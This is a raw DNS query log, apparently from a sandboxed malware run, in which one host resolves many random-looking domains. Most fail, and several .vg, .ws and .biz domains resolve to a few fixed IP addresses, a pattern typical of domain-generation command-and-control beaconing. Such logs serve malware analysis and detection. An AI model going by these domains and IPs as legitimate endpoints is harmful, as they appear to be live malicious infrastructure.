Sep 7, 2024 15:29:10.340398073 CEST	1.1.1.1	192.168.2.7	0x2c91	No error (0)	utbidet-ugeas.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:11.045697927 CEST	1.1.1.1	192.168.2.7	0x5bd7	Name error (3)	pqjeuad.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:11.056020021 CEST	1.1.1.1	192.168.2.7	0x13aa	Name error (3)	pqjeuad.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:11.258651972 CEST	1.1.1.1	192.168.2.7	0x5ac4	Name error (3)	dfludal.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:12.091767073 CEST	1.1.1.1	192.168.2.7	0x9b34	Name error (3)	dfludal.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:12.451600075 CEST	1.1.1.1	192.168.2.7	0x6194	Name error (3)	qyciviok.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:12.557111025 CEST	1.1.1.1	192.168.2.7	0x5c0e	Name error (3)	qyciviok.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:12.671379089 CEST	1.1.1.1	192.168.2.7	0x7e0b	Name error (3)	hsvwkprrgt.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:12.683072090 CEST	1.1.1.1	192.168.2.7	0x83d4	Name error (3)	hsvwkprrgt.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:12.795470953 CEST	1.1.1.1	192.168.2.7	0xde85	Name error (3)	kkigxqwacvc.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:12.807297945 CEST	1.1.1.1	192.168.2.7	0x3477	Name error (3)	kkigxqwacvc.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:12.920350075 CEST	1.1.1.1	192.168.2.7	0x1b6a	Name error (3)	rvfcpjg.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:12.931889057 CEST	1.1.1.1	192.168.2.7	0x6cba	Name error (3)	rvfcpjg.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:13.131918907 CEST	1.1.1.1	192.168.2.7	0x7746	Name error (3)	griusmc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:13.230762959 CEST	1.1.1.1	192.168.2.7	0x63f4	Name error (3)	griusmc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:13.436331987 CEST	1.1.1.1	192.168.2.7	0xf7c0	Name error (3)	gyiyincoocn.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:13.677966118 CEST	1.1.1.1	192.168.2.7	0x4ce7	Name error (3)	gyiyincoocn.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:13.890558958 CEST	1.1.1.1	192.168.2.7	0xbe5	Name error (3)	xekpfak.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:13.988878965 CEST	1.1.1.1	192.168.2.7	0xd79c	Name error (3)	xekpfak.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:14.196594954 CEST	1.1.1.1	192.168.2.7	0x3d32	Name error (3)	qckeguytcxe.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:14.428306103 CEST	1.1.1.1	192.168.2.7	0x1cae	Name error (3)	qckeguytcxe.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:14.771842957 CEST	1.1.1.1	192.168.2.7	0xc8b2	Name error (3)	eugqkqqmsoxw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:15.019364119 CEST	1.1.1.1	192.168.2.7	0x9461	Name error (3)	eugqkqqmsoxw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:15.417020082 CEST	1.1.1.1	192.168.2.7	0xc3b6	Name error (3)	qgqjhok.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:15.454682112 CEST	1.1.1.1	192.168.2.7	0x5ee0	Name error (3)	qgqjhok.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:15.854863882 CEST	1.1.1.1	192.168.2.7	0x723c	Name error (3)	rsyjwi.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:15.864564896 CEST	1.1.1.1	192.168.2.7	0xb101	Name error (3)	rsyjwi.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:15.984945059 CEST	1.1.1.1	192.168.2.7	0xb2d5	Name error (3)	ealcaecqmb.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:15.998562098 CEST	1.1.1.1	192.168.2.7	0xf895	Name error (3)	ealcaecqmb.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:16.127434015 CEST	1.1.1.1	192.168.2.7	0xda6c	No error (0)	ijiivko.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:17.682370901 CEST	1.1.1.1	192.168.2.7	0x2ee2	Name error (3)	jiqdofwws.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:17.738137007 CEST	1.1.1.1	192.168.2.7	0xd69f	Name error (3)	jiqdofwws.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:18.088177919 CEST	1.1.1.1	192.168.2.7	0xb48e	Name error (3)	oyimlslily.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:18.188282967 CEST	1.1.1.1	192.168.2.7	0x205c	Name error (3)	oyimlslily.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:18.337093115 CEST	1.1.1.1	192.168.2.7	0x1e77	Name error (3)	ydeuwpkoggpc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:18.386375904 CEST	1.1.1.1	192.168.2.7	0x3bcc	Name error (3)	ydeuwpkoggpc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:18.788770914 CEST	1.1.1.1	192.168.2.7	0xf372	Name error (3)	zrazytuksyynx.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:18.834373951 CEST	1.1.1.1	192.168.2.7	0xda04	Name error (3)	zrazytuksyynx.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:18.951956987 CEST	1.1.1.1	192.168.2.7	0x4e	Name error (3)	gjqkbir.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:18.963372946 CEST	1.1.1.1	192.168.2.7	0x7453	Name error (3)	gjqkbir.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:19.088675022 CEST	1.1.1.1	192.168.2.7	0xecdd	Name error (3)	vmtsa.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:19.100225925 CEST	1.1.1.1	192.168.2.7	0x981b	Name error (3)	vmtsa.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:19.217152119 CEST	1.1.1.1	192.168.2.7	0x9032	Name error (3)	ysuyeyy.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:19.226382971 CEST	1.1.1.1	192.168.2.7	0x4182	Name error (3)	ysuyeyy.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:19.351723909 CEST	1.1.1.1	192.168.2.7	0xa0c6	No error (0)	vumild.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:20.467427969 CEST	1.1.1.1	192.168.2.7	0x26d5	Name error (3)	ngvbglykgy.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:20.479329109 CEST	1.1.1.1	192.168.2.7	0xdef6	Name error (3)	ngvbglykgy.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:20.625284910 CEST	1.1.1.1	192.168.2.7	0xb6bc	Name error (3)	kechmqowm.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:20.865602970 CEST	1.1.1.1	192.168.2.7	0x7efc	Name error (3)	kechmqowm.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:20.989406109 CEST	1.1.1.1	192.168.2.7	0xa6bd	No error (0)	ueksnsqyyyg.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:22.242260933 CEST	1.1.1.1	192.168.2.7	0xb4ba	Name error (3)	pjaqmqmoqcayg.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:22.341075897 CEST	1.1.1.1	192.168.2.7	0xa142	Name error (3)	pjaqmqmoqcayg.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:22.467371941 CEST	1.1.1.1	192.168.2.7	0x81e2	Name error (3)	eigqttiycrc.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:22.478595018 CEST	1.1.1.1	192.168.2.7	0x38d9	Name error (3)	eigqttiycrc.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:22.617800951 CEST	1.1.1.1	192.168.2.7	0xbb2e	Name error (3)	qoqeshgucneic.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:22.658294916 CEST	1.1.1.1	192.168.2.7	0x7cda	Name error (3)	qoqeshgucneic.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:22.807385921 CEST	1.1.1.1	192.168.2.7	0x662d	Name error (3)	aapmqiiiuvkxg.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:22.845616102 CEST	1.1.1.1	192.168.2.7	0x5546	Name error (3)	aapmqiiiuvkxg.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:22.982336044 CEST	1.1.1.1	192.168.2.7	0x76da	Name error (3)	ucsapnaiqm.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:22.994966030 CEST	1.1.1.1	192.168.2.7	0x75f3	Name error (3)	ucsapnaiqm.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:23.107831955 CEST	1.1.1.1	192.168.2.7	0x51c2	Name error (3)	ewvqusoagenzk.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:23.118422031 CEST	1.1.1.1	192.168.2.7	0xb4	Name error (3)	ewvqusoagenzk.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:23.321170092 CEST	1.1.1.1	192.168.2.7	0x7446	Name error (3)	zmpswnz.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:23.662533045 CEST	1.1.1.1	192.168.2.7	0x418d	Name error (3)	zmpswnz.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:23.814131975 CEST	1.1.1.1	192.168.2.7	0x679d	No error (0)	dwsbbsvuhe.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:24.967876911 CEST	1.1.1.1	192.168.2.7	0xd279	Name error (3)	avfqcqwcybf.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:24.978910923 CEST	1.1.1.1	192.168.2.7	0x9c76	Name error (3)	avfqcqwcybf.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:25.185024023 CEST	1.1.1.1	192.168.2.7	0xc21	Name error (3)	mwnaobzwzsh.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:25.283730984 CEST	1.1.1.1	192.168.2.7	0x228a	Name error (3)	mwnaobzwzsh.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:25.405169010 CEST	1.1.1.1	192.168.2.7	0xdce9	Name error (3)	uqmkaeeiked.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:25.417612076 CEST	1.1.1.1	192.168.2.7	0x35f	Name error (3)	uqmkaeeiked.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:25.550136089 CEST	1.1.1.1	192.168.2.7	0xc669	Name error (3)	vcuuf.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:25.561741114 CEST	1.1.1.1	192.168.2.7	0xbfdc	Name error (3)	vcuuf.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:25.719330072 CEST	1.1.1.1	192.168.2.7	0x4d5b	Name error (3)	bhenbcwauwx.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:25.756385088 CEST	1.1.1.1	192.168.2.7	0xbf4c	Name error (3)	bhenbcwauwx.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:25.880506039 CEST	1.1.1.1	192.168.2.7	0x2e33	No error (0)	uyjswuwmg.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:27.139425039 CEST	1.1.1.1	192.168.2.7	0xcf8c	Name error (3)	gjckwlq.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:27.376759052 CEST	1.1.1.1	192.168.2.7	0x1a57	Name error (3)	gjckwlq.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:27.498570919 CEST	1.1.1.1	192.168.2.7	0x45a9	No error (0)	ojaqe.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:28.649317980 CEST	1.1.1.1	192.168.2.7	0x1e00	Name error (3)	lolhuubcqsoiy.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:28.686814070 CEST	1.1.1.1	192.168.2.7	0xcce5	Name error (3)	lolhuubcqsoiy.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:28.815378904 CEST	1.1.1.1	192.168.2.7	0xe94a	No error (0)	beoklokipnezm.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:30.945404053 CEST	1.1.1.1	192.168.2.7	0xbfaf	Name error (3)	qkrvauy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:31.056222916 CEST	1.1.1.1	192.168.2.7	0xf62f	Name error (3)	qkrvauy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:31.170547009 CEST	1.1.1.1	192.168.2.7	0x1374	Name error (3)	gwkwx.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:31.187326908 CEST	1.1.1.1	192.168.2.7	0xd042	Name error (3)	gwkwx.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:31.312004089 CEST	1.1.1.1	192.168.2.7	0x57e9	Name error (3)	xqrztuoigko.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:31.322675943 CEST	1.1.1.1	192.168.2.7	0xe812	Name error (3)	xqrztuoigko.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:31.589010954 CEST	1.1.1.1	192.168.2.7	0x7dbe	Name error (3)	axbgscodpaey.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:31.757081985 CEST	1.1.1.1	192.168.2.7	0x41d9	Name error (3)	axbgscodpaey.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:31.967796087 CEST	1.1.1.1	192.168.2.7	0x1b57	Name error (3)	hpgkccdfe.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:31.979639053 CEST	1.1.1.1	192.168.2.7	0x744c	Name error (3)	hpgkccdfe.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:32.246190071 CEST	1.1.1.1	192.168.2.7	0x9b06	Name error (3)	cwbge.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:32.411052942 CEST	1.1.1.1	192.168.2.7	0xeb00	Name error (3)	cwbge.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:32.533701897 CEST	1.1.1.1	192.168.2.7	0xc3d5	No error (0)	kgvdlkf.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:34.529589891 CEST	1.1.1.1	192.168.2.7	0xee7a	Name error (3)	tvxadcy.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:34.540817022 CEST	1.1.1.1	192.168.2.7	0xf045	Name error (3)	tvxadcy.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:34.761935949 CEST	1.1.1.1	192.168.2.7	0x7365	Name error (3)	tsssp.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:34.866568089 CEST	1.1.1.1	192.168.2.7	0x9d6c	Name error (3)	tsssp.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:35.210115910 CEST	1.1.1.1	192.168.2.7	0x130f	Name error (3)	ggkwptwmi.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:35.449650049 CEST	1.1.1.1	192.168.2.7	0xd363	Name error (3)	ggkwptwmi.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:36.079891920 CEST	1.1.1.1	192.168.2.7	0xe1f9	Name error (3)	ruuzeooenoy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:36.285527945 CEST	1.1.1.1	192.168.2.7	0x59cc	Name error (3)	ruuzeooenoy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:36.404923916 CEST	1.1.1.1	192.168.2.7	0xed8c	No error (0)	ngicq.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:37.583053112 CEST	1.1.1.1	192.168.2.7	0xc8eb	No error (0)	iiuchwvui.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:38.965362072 CEST	1.1.1.1	192.168.2.7	0xccfe	Name error (3)	slmkgcf.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:38.984390974 CEST	1.1.1.1	192.168.2.7	0xaaaf	Name error (3)	slmkgcf.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:39.107830048 CEST	1.1.1.1	192.168.2.7	0xfc43	Name error (3)	hwjgrdoadgakmq.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:39.119280100 CEST	1.1.1.1	192.168.2.7	0xb009	Name error (3)	hwjgrdoadgakmq.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:39.232739925 CEST	1.1.1.1	192.168.2.7	0xd0d9	Name error (3)	oggiisztg.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:39.244616032 CEST	1.1.1.1	192.168.2.7	0x7e43	Name error (3)	oggiisztg.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:39.362273932 CEST	1.1.1.1	192.168.2.7	0xd6bb	No error (0)	hcaie.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:40.762167931 CEST	1.1.1.1	192.168.2.7	0xd775	Name error (3)	fkejlam.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:41.038968086 CEST	1.1.1.1	192.168.2.7	0x7777	Name error (3)	fkejlam.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:41.189342976 CEST	1.1.1.1	192.168.2.7	0xd0a1	No error (0)	xkrftiwzcwwokf.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:42.483450890 CEST	1.1.1.1	192.168.2.7	0xcbf4	Name error (3)	aupdmfk.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:42.499476910 CEST	1.1.1.1	192.168.2.7	0x80d1	Name error (3)	aupdmfk.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:42.624357939 CEST	1.1.1.1	192.168.2.7	0x83ab	No error (0)	efwumqtt.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:44.007253885 CEST	1.1.1.1	192.168.2.7	0xbc40	No error (0)	ckscocredcu.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:45.158009052 CEST	1.1.1.1	192.168.2.7	0xe53	Name error (3)	mohud.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:45.173535109 CEST	1.1.1.1	192.168.2.7	0xea58	Name error (3)	mohud.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:45.390500069 CEST	1.1.1.1	192.168.2.7	0xa8b	Name error (3)	hmoomqmlqkqx.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:45.735590935 CEST	1.1.1.1	192.168.2.7	0x7045	Name error (3)	hmoomqmlqkqx.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:45.864881992 CEST	1.1.1.1	192.168.2.7	0xc21	Name error (3)	lzoikwc.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:45.880007029 CEST	1.1.1.1	192.168.2.7	0x2fd4	Name error (3)	lzoikwc.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:46.000686884 CEST	1.1.1.1	192.168.2.7	0x8a1f	Name error (3)	ywiwm.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:46.026938915 CEST	1.1.1.1	192.168.2.7	0x8713	Name error (3)	ywiwm.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:46.321665049 CEST	1.1.1.1	192.168.2.7	0xa504	Name error (3)	eyneeemqnedyw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:46.509362936 CEST	1.1.1.1	192.168.2.7	0x8ceb	Name error (3)	eyneeemqnedyw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:46.899415016 CEST	1.1.1.1	192.168.2.7	0x5677	Name error (3)	toeaskhykeip.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:46.949394941 CEST	1.1.1.1	192.168.2.7	0x29cc	Name error (3)	toeaskhykeip.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:47.265207052 CEST	1.1.1.1	192.168.2.7	0x24d8	Name error (3)	uzdeqso.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:47.433634043 CEST	1.1.1.1	192.168.2.7	0x295a	Name error (3)	uzdeqso.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:47.578541040 CEST	1.1.1.1	192.168.2.7	0xeb74	Name error (3)	egvaxg.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:47.616444111 CEST	1.1.1.1	192.168.2.7	0x5e7d	Name error (3)	egvaxg.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:47.743103981 CEST	1.1.1.1	192.168.2.7	0xa42f	Name error (3)	kgysamb.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:47.760168076 CEST	1.1.1.1	192.168.2.7	0xe4a	Name error (3)	kgysamb.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:47.968019009 CEST	1.1.1.1	192.168.2.7	0xfcf4	Name error (3)	ssmektag.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:48.207566977 CEST	1.1.1.1	192.168.2.7	0x39aa	Name error (3)	ssmektag.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:48.419826984 CEST	1.1.1.1	192.168.2.7	0xb235	Name error (3)	ogseqowiqwy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:48.652146101 CEST	1.1.1.1	192.168.2.7	0x7849	Name error (3)	ogseqowiqwy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:48.797491074 CEST	1.1.1.1	192.168.2.7	0x93f5	Name error (3)	paguuorpkmohc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:48.836570978 CEST	1.1.1.1	192.168.2.7	0x16b4	Name error (3)	paguuorpkmohc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:49.041860104 CEST	1.1.1.1	192.168.2.7	0x3c7b	Name error (3)	uimhy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:49.147670031 CEST	1.1.1.1	192.168.2.7	0x4a14	Name error (3)	uimhy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:49.264563084 CEST	1.1.1.1	192.168.2.7	0x97b6	Name error (3)	kaagdfi.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:49.276115894 CEST	1.1.1.1	192.168.2.7	0x6211	Name error (3)	kaagdfi.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:49.401833057 CEST	1.1.1.1	192.168.2.7	0xefe7	Name error (3)	nyilele.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:49.427944899 CEST	1.1.1.1	192.168.2.7	0x645e	Name error (3)	nyilele.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:49.564598083 CEST	1.1.1.1	192.168.2.7	0x4a9	No error (0)	mskgqyoctwd.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:50.856765032 CEST	1.1.1.1	192.168.2.7	0x49f6	No error (0)	yakavstwqwwvc.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:52.021189928 CEST	1.1.1.1	192.168.2.7	0x2ebe	Name error (3)	ooossqwuu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:52.058624029 CEST	1.1.1.1	192.168.2.7	0x4f4a	Name error (3)	ooossqwuu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:52.190042019 CEST	1.1.1.1	192.168.2.7	0xacc2	No error (0)	qttvmgx.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:53.352533102 CEST	1.1.1.1	192.168.2.7	0x9586	Name error (3)	sawngoffacq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:53.391465902 CEST	1.1.1.1	192.168.2.7	0x3e3c	Name error (3)	sawngoffacq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:53.514295101 CEST	1.1.1.1	192.168.2.7	0x7978	Name error (3)	zcgoasmfimwqby.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:53.526051998 CEST	1.1.1.1	192.168.2.7	0x9ea1	Name error (3)	zcgoasmfimwqby.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:53.973978043 CEST	1.1.1.1	192.168.2.7	0xf86d	Name error (3)	gwvegaoiytggw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:54.306387901 CEST	1.1.1.1	192.168.2.7	0x62fd	Name error (3)	gwvegaoiytggw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:54.824388981 CEST	1.1.1.1	192.168.2.7	0x1ab7	Name error (3)	wsyja.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:54.929884911 CEST	1.1.1.1	192.168.2.7	0xdc3a	Name error (3)	wsyja.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:55.055619955 CEST	1.1.1.1	192.168.2.7	0x6696	Name error (3)	umnafri.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:55.091906071 CEST	1.1.1.1	192.168.2.7	0x6da0	Name error (3)	umnafri.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:55.220619917 CEST	1.1.1.1	192.168.2.7	0xd528	Name error (3)	hsynq.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:55.232795000 CEST	1.1.1.1	192.168.2.7	0xd8f1	Name error (3)	hsynq.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:55.364506006 CEST	1.1.1.1	192.168.2.7	0xd9f4	Name error (3)	efmkaemaoto.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:55.377959967 CEST	1.1.1.1	192.168.2.7	0x5a44	Name error (3)	efmkaemaoto.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:55.829638004 CEST	1.1.1.1	192.168.2.7	0x39eb	Name error (3)	kmgvckzgwfk.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:55.838495970 CEST	1.1.1.1	192.168.2.7	0x2b63	Name error (3)	kmgvckzgwfk.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:55.960047960 CEST	1.1.1.1	192.168.2.7	0xe6b6	Name error (3)	psqsu.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:55.986299038 CEST	1.1.1.1	192.168.2.7	0x1881	Name error (3)	psqsu.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:56.107994080 CEST	1.1.1.1	192.168.2.7	0x858e	Name error (3)	uxidoccki.nu	none	none	A (IP address)	IN (0x0001)	false
